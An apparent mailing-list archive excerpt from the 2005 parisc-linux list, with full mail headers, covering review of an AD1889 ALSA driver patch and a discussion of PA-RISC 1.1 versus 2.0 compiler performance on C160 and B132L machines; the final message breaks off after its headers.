>  	ad1889_writel(chip, AD_DMA_ADCBC, count);
>  	ad1889_writel(chip, AD_DMA_ADCCC, count);
> +}
> +
> +static inline void
> +ad1889_load_adc_interrupt_count(struct snd_ad1889 *chip, u32 count)
> +{
>  	ad1889_writel(chip, AD_DMA_ADCIB, count);
>  	ad1889_writel(chip, AD_DMA_ADCIC, count);
> -}
> +}
> +
> +static inline void
> +ad1889_load_wave_buffer_address(struct snd_ad1889 *chip, u32
address)
> +{
> +	ad1889_writel(chip, AD_DMA_WAVBA, address);
> +	ad1889_writel(chip, AD_DMA_WAVCA, address);
> +}

ok i had removed these because i felt they were just bloating the file
and were sparsely used, but ok, it's nicer that way =3D)

>  		/* flush */
>  		ad1889_readw(chip, AD_DMA_ADC);
> @@ -290,11 +303,11 @@ static snd_pcm_hardware_t snd_ad1889_pla
>  	.rate_max =3D 48000,
>  	.channels_min =3D 1,
>  	.channels_max =3D 2,
> -	.buffer_bytes_max =3D DMA_SIZE,	/* max DMA buffer size in bytes */
> -	.period_bytes_min =3D BUF_SIZE,	/* min size of period in bytes */
> -	.period_bytes_max =3D DMA_SIZE,	/* max size of period in bytes */
> -	.periods_min =3D 1,		/* min nb of periods in buffer */
> -	.periods_max =3D MAX_BUFS,
> +	.buffer_bytes_max =3D 256 * 1024,
> +	.period_bytes_min =3D 32,
> +	.period_bytes_max =3D 128 * 1024,
> +	.periods_min =3D 2,
> +	.periods_max =3D 256,
>  	/*.fifo_size =3D 0,*/
>  };

see the first comment .

> @@ -741,7 +671,7 @@ snd_ad1889_pcm_init(struct snd_ad1889 *c
>=20
>  	err =3D snd_pcm_lib_preallocate_pages_for_all(pcm,
SNDRV_DMA_TYPE_DEV,
>  						snd_dma_pci_data(chip->pci),
> -						DMA_SIZE, DMA_SIZE);
> +						128 * 1024, 256 * 1024);

again :)


This looks mostly good to me though I lack time to test and review it
more thoroughly. Hopefully I should be back later this month to give a
better look at it. I'd like to hear from Kyle as well.

Thanks for submitting this anyway.

T-Bone

--=20
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Clemens Ladisch <clemens@ladisch.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Alsa-devel] [PATCH] Support for AD1889 PCI
	Soundchip
Date: Wed, 17 Aug 2005 15:50:26 +0200 (METDST)
Lines: 19
Approved: news@gmane.org
Message-ID: <Pine.HPX.4.33n.0508171547320.19860-100000__13266.321065794$1416623903$gmane$org@studcom.urz.uni-halle.de>
References: <20050817015119.GA18244@roadwarrior.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416623903 16464 80.91.229.3 (22 Nov 2014 02:38:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:23 +0000 (UTC)
Cc: alsa-devel@lists.sourceforge.net,
 parisc-linux@lists.parisc-linux.org,
 Thibaut VARENE <T-Bone@parisc-linux.org>
To: Kyle McMartin <kyle@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Aug 2005 13:50:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx040) with SMTP; 17 Aug 2005 15:50:38 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B022F7D75C;
	Wed, 17 Aug 2005 07:50:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19235-05; Wed, 17 Aug 2005 07:50:34 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 151F47D75F;
	Wed, 17 Aug 2005 07:50:34 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E83D97D75A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Aug 2005 07:50:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19200-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Aug 2005 07:50:29 -0600 (MDT)
Original-Received: from mailgate.uni-halle.de (mailgate.urz.uni-halle.de [141.48.3.51])
	by free.linux.hp.com (Postfix) with ESMTP id 4CA0F7D6AB
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Aug 2005 07:50:29 -0600 (MDT)
Original-Received: from studcom.urz.uni-halle.de ([141.48.3.19])
	by mailgate.uni-halle.de with esmtp  (Exim 4.52)
	id 1E5OJH-0004PN-PI ; Wed, 17 Aug 2005 15:50:27 +0200
Original-Received: from localhost (aezr4@localhost)
	by studcom.urz.uni-halle.de (8.9.3 (PHNE_28760_binary)/8.9.3) with
	ESMTP id PAA02205; Wed, 17 Aug 2005 15:50:27 +0200 (METDST)
X-Authentication-Warning: studcom.urz.uni-halle.de: aezr4 owned process doing
	-bs
In-Reply-To: <20050817015119.GA18244@roadwarrior.mcmartin.ca>
X-Scan-Signature: ccbfee6b9aa2cd8fc215bc9bcc14f20c
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +CVxY9kaeSEkWr6WZHQhaXN1IGRvb0BE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23093

Kyle McMartin wrote:
> Your patch appears to work fine in OSS mode, but native ALSA on
> PA-RISC still seems broken.

The biggest difference may be that OSS uses power-of-two period and
buffer sizes.

Does it work with "aplay --period-size=1024 --buffer-size=8192 ..."?


Regards,
Clemens

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L outperforms C160 - 64-bit userland needed?
Date: Wed, 17 Aug 2005 10:16:43 -0400 (EDT)
Lines: 119
Approved: news@gmane.org
Message-ID: <200508171416.j7HEGh9B029860@hiauly1.hia.nrc.ca>
References: <4302B277.40706@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623903 16469 80.91.229.3 (22 Nov 2014 02:38:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: kfitzner@excelcia.org (Kurt Fitzner)
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Aug 2005 14:17:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 17 Aug 2005 16:17:20 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 066BC7D76F;
	Wed, 17 Aug 2005 08:17:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19592-03; Wed, 17 Aug 2005 08:17:11 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 620C97D76A;
	Wed, 17 Aug 2005 08:17:10 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C8DBF7D75F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Aug 2005 08:17:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19432-09 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Aug 2005 08:17:07 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id CC39F7D75C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Aug 2005 08:17:06 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j7HEGinV029862; Wed, 17 Aug 2005 10:16:44 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j7HEGh9B029860;
	Wed, 17 Aug 2005 10:16:43 -0400 (EDT)
In-Reply-To: <4302B277.40706@excelcia.org> from "Kurt Fitzner" at Aug 16,
	2005 09:43:51 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: pyNxYx9jeSEkTr6WZHQhaXN1IGRvb8BG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23094

> > ...It is tweaked to the number of execution
> > units, etc, in the PA 2.0 processor.  How much difference this makes in the
> > real world is not clear.  I haven't seen any numbers.  As far as the
> > models themselves, they haven't changed since they were added by Jeff
> > Law somewhere around GCC 3.0.  It would be interesting to see how they
> > compare on the same cpu, same os, etc.
> 
> In Linux 2.6.10-pa11 and 2.6.8.1-pa11 with a 32 bit kernel on a C160
> (PA-8000 cpu)
>  * -march=1.1 produces code that performs approximately one percent
> faster than -march=2.0
>  * -mschedule=7300 produces code that is approx. one percent faster than
> -mschedule=8000
>  * The two above are additive - 1.1/7300 is two percent faster than 2.0/8000
>  * Code compiled as 1.1/7300 and also run on a C160 with its kernel
> configured with the PA7300LC processor type (as opposed to configured as
> PA8000) enjoys another ~2% speed boost that is additive.
> 
> So, to be completely clear, where the baseline is a C160, Linux
> 2.6.8.1-pa11 configured for PA8000 cpu and where the user binary is
> compiled with -march=2.0 and -mschedule=8000:
> - User binary compiled with -march=1.1 = +1% performance
> - User binary compiled with -mschedule=8000 = +1% performance
> - Kernel configured as PA7300LC = +2% performance
> 
> > As far PA 2.0 versus 1.1, the main differences affecting 32-bit code
> > are some new branch instructions.  There are also some new FP instructions
> > but these are somewhat compromised by linker bugs.  In non floating-point
> > code, I would expect the PA 2.0 features to make their presence felt
> > in code with large functions.
> 
> Is there anything in PA 2.0 that you would expect to cause poorer
> performance in any circumstance when compared to PA 1.1?

The only thing that comes to mind is that some PA 2.0 floating-point
instructions require assist from the kernel.  It might be beneficial
to avoid these exceptions.

The numbers suggest that there may be issues with PA 8000 scheduling
and PA 2.0 code generation, but I think more testing is needed.  It
would very useful if the actual problem could be identified.

> > There have been a lot of optimization improvements in GCC since 3.3.
> > It would be useful to see how effective they are in real applications
> > and in benchmark performance.  As far as the PA backend goes, there
> > haven't been any major performance improvements added since 3.3.  The
> > changes mainly are bug fixes.
> 
> So, what I'm hearing is that I might expect to see better code across
> the board with a post 3.3 compiler, but that there is unlikely to be a
> change in what I am seeing with 1.1 vs 2.0, 7300 vs 8000?

That's the current situation.  There's certainly improvements
that could be made to the PA backend in GCC.  Some issues are:

1) Long offsets in PA 2.0 floating-point loads and stores.  This is
   a 32-bit linker bug.

2) The PA has many integer conditions that aren't exploited.  If these
   could be exploited, we might save an insn in some loops.  This might
   yield a significant performance increase in some loops.

3) We need to look at improving the load sequence for self data when
   generating PIC code.  Currently, I believe that we always load data 
   through the DLT.  This requires three instructions, with two being
   memory accesses.  For self data, this can be shortened to two insns
   and one memory access.  When self data can be accessed using a 16-bit
   offset, data can be accessed in one memory access.  So, it might be
   useful to have a code generation option for tiny data.

4) There have been reports that utilizing the left/right addressibility
   of the floating-point registers in 32-bit code causes unnecessary
   processor stalls.

> > 64-bit code isn't going to make your apps run faster.  There is more
> > overhead in data accesses in 64-bit code (i.e., they go through the DLT)
> > than in 32-bit apps.  Also, a lot more sign extensions are needed.  In
> > terms of a GCC build, the difference is about 15-20%.  The 64-bit tools
> > are less mature.  So generally, you only want to use 64-bit apps when
> > they can benefit from the larger address space.
> 
> I'm not strong on the PA architecture - I assumed on a 64 bit machine
> that the data bus would be 64 bits wide.  Thus, I would have thought
> that 64-bit compiled apps on such a machine would run at least as fast
> as 32 bit ones, and be superior in some areas such as when they had to
> deal with 64 bit values like file offsets.  If less bit-width is better,
> shouldn't we all be going back to 6502? :)

That's true.  However, there's only a benefit when an application uses
a lot of 64-bit data, and/or benefits from the 64-bit address space.
Integer applications still typically use a lot of 32-bit signed integers
for saving space and portability.  When the PA does an 32-bit load in
wide mode, the value is zero extended.  However, in many cases the value
needs to be sign extended.  Thus, in many cases you pay a penalty when
64-bit registers are needed.

> In any case, if what I'm seeing isn't due to 32 vs 64 bit, then I am
> completely baffled by what I'm seeing.  Why would a C160 running at a
> 20% faster clock speed, having eight times the cache, and a design that
> should be superior in every sense run slower than B132L?  I'm not trying
> to blame my machine's poor performance on anyone, but I must admit that
> having read as much as I can on the C160 vs B132L that I can find no
> explanation in the hardware.

I really don't know.  You should be able to run PA 1.1 code for the
B132L on the C160.  If the same code runs slower on the C160, I would
first suspect that it's due to a difference in configuration (disks,
graphics, etc).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kurt Fitzner <kfitzner@excelcia.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L outperforms C160 - 64-bit userland needed?
Date: Wed, 17 Aug 2005 12:42:06 -0600
Lines: 31
Approved: news@gmane.org
Message-ID: <430384FE.6080105@excelcia.org>
References: <4301B090.9040405@excelcia.org>
	<20050817061913.GA8761@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623903 16471 80.91.229.3 (22 Nov 2014 02:38:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Aug 2005 18:50:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx053) with SMTP; 17 Aug 2005 20:50:33 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5C0EB7D773;
	Wed, 17 Aug 2005 12:50:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22178-01; Wed, 17 Aug 2005 12:50:27 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C73A57D75A;
	Wed, 17 Aug 2005 12:50:26 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 96F8C7D6A1
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Aug 2005 12:50:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21986-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Aug 2005 12:50:21 -0600 (MDT)
Original-Received: from pd2mo2so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net
	[24.71.223.10])
	by free.linux.hp.com (Postfix) with ESMTP id 0648D7D6A0
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Aug 2005 12:50:21 -0600 (MDT)
Original-Received: from pd5mr2so.prod.shaw.ca
	(pd5mr2so-qfe3.prod.shaw.ca [10.0.141.233]) by l-daemon
	(Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004))
	with ESMTP id <0ILD000ITQM8YC30@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Wed, 17 Aug 2005 12:42:08 -0600 (MDT)
Original-Received: from pn2ml8so.prod.shaw.ca ([10.0.121.152])
	by pd5mr2so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01
	(built Mar
	15 2004)) with ESMTP id <0ILD00AIXQM8FFJ0@pd5mr2so.prod.shaw.ca> for
	parisc-linux@lists.parisc-linux.org;
	Wed, 17 Aug 2005 12:42:08 -0600 (MDT)
Original-Received: from guardian.excelcia.org ([68.149.196.244])
	by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28
	2003)) with ESMTP id <0ILD00IB1QM7NS@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Wed, 17 Aug 2005 12:42:08 -0600 (MDT)
Original-Received: from [192.168.200.13] (frisket.excelcia.org [192.168.200.13])
	by guardian.excelcia.org (8.13.3/8.13.3) with ESMTP id j7HIg6kw021345;
	Wed, 17 Aug 2005 12:42:07 -0600
In-reply-to: <20050817061913.GA8761@colo.lackof.org>
X-Accept-Language: en-us, en
Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAQlBMVEUIEQ8THRofGw4lLyc0
	LRBLJhxhQzVGTkRiZFWSUkSfUzesS0CBYVB6hnS5bV3Bbk/PaVapgW7uhW6WraG42c6+4NXI/Dbc
	AAACM0lEQVR42tWU23qkIBCEQVRolIOi7/+qWw14yoxk93LbSfJNqL+rOIjY/7HEfwFstf4WYG1y
	XCltvwNZbjTKaGNM+g1gvdOloDfabU0AwTdT5KpiOjWAQ69QB6L09gqUPCYj48g/KKBvQM1v5nks
	ReQJRO++A1sOZKCHbh7JxzV67wH26Q3gQKyPPsa4coUAj9G0AajDelRgi7kJLP7sf1i8OuwJAHKf
	8gq41qRh4NcHMDci7SZHWn84LC2HeX5YMDC41hxAgIHUe/K5xt697fSeWI2NJhBE/BdFdmkCIx4i
	7DIIIgrBTu/AxgZ8hChEy91tQMWlcfjmhWOAweZBGlcG0uvx3l3ZaGvjdZpi3N6BhKMHgOy6ThMT
	MdjHnD9fIA7DkTxN8GCzpfUCIZP3IQM+5GnY+fs7fVxeiXeacq6AUAg0py/Adt52yWBZKUcisgxQ
	p7S7rjTx0IPAy2lpyNDEm0aDQEllXDqBu37DeUDXiSuywdBBjqfrOu0K8NBrNQxkWR54xsT6bAGg
	51MoHvqkoB8Gbp5XaDj0GVA97g/x0GfnrqsE2h96EFLCok8XsO9O5qFCTMT6ByAVPMQtvqxjTKDY
	S96ADh91Avum8L9zOCe72h8WslfinO5dn4fFs7JDV4GiL3Vv+OEA13K75O/qofnhIPM6YbwuT14D
	9ZHj1r+mEny3yLJmKiMNKGO1vSxqJWUL4Zy6zlYVseKDJuRrKiFqjOvXe/vSSGl1pf9Fz/UHUt53
	+mfdrmkAAAAASUVORK5CYII=
X-Enigmail-Version: 0.92.0.0
X-Virus-Scanned: ClamAV version 0.85.1,
	clamav-milter version 0.85 on guardian.excelcia.org
X-Virus-Status: Clean
User-Agent: Mozilla Thunderbird 1.0.6 (Windows/20050716)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: reNxY38peSEkR76WZHQhaXN1IGRvb0Du
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23095

Grant Grundler wrote:

> If performance on a C160 is that important, my advice is to dump
> both boxes and buy any Pentium M (1.x Ghz) laptop :^). But that would
> be boring... :^P

Boring indeed. :)

Actually, my thought is that my little C160 may be simply shedding light
on a problem that's more global.  The C160 is the slowest PA2.0 machine
made.  It's one of the few machines where a PA2.0 CPU is in the same
speed range as PA1.1 CPUs.

What I'm wondering is that if a C160 is performing at the level of a
B132L then could perhaps ALL PA2.0 machines be underperforming?  It
could be just that my C160 is one of the few machines that was slow
enough anyway that it raised a red flag.  If that's the case and
something minor-ish is making everyone's PA2.0 machines underperform, it
may be something worth looking into.

Now, A doesn't necarily HAVE to follow B here, but I don't think it's a
totally unreasonable suspicion.  I may be chasing my tail, but at least
it's something to start with to help me learn the ropes.

	Kurt.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L outperforms C160 - 64-bit userland needed?
Date: Wed, 17 Aug 2005 14:56:35 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20050817185635.GF18244@roadwarrior.mcmartin.ca>
References: <4301B090.9040405@excelcia.org>
	<20050817061913.GA8761@colo.lackof.org>
	<430384FE.6080105@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623904 16477 80.91.229.3 (22 Nov 2014 02:38:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kurt Fitzner <kfitzner@excelcia.org>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Aug 2005 18:59:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx007) with SMTP; 17 Aug 2005 20:59:00 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 272F27D75A;
	Wed, 17 Aug 2005 12:58:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22178-10; Wed, 17 Aug 2005 12:58:53 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 850DC7D76F;
	Wed, 17 Aug 2005 12:58:52 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2AF5E7D6A1
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Aug 2005 12:58:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22326-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Aug 2005 12:58:44 -0600 (MDT)
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 95E6C7D6A0
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Aug 2005 12:58:44 -0600 (MDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 901F117050;
	Wed, 17 Aug 2005 14:58:43 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08405-08; Wed, 17 Aug 2005 14:58:31 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 1F5FF1707B; Wed, 17 Aug 2005 14:58:31 -0400 (EDT)
X-IMAP-Sender: kyle
X-OfflineIMAP-728308424-52656d6f746546617454697265-494e424f582e4f7574626f78: 1124305025-0305566097609-v4.0.10
Content-Disposition: inline
In-Reply-To: <430384FE.6080105@excelcia.org>
User-Agent: Mutt/1.5.9i
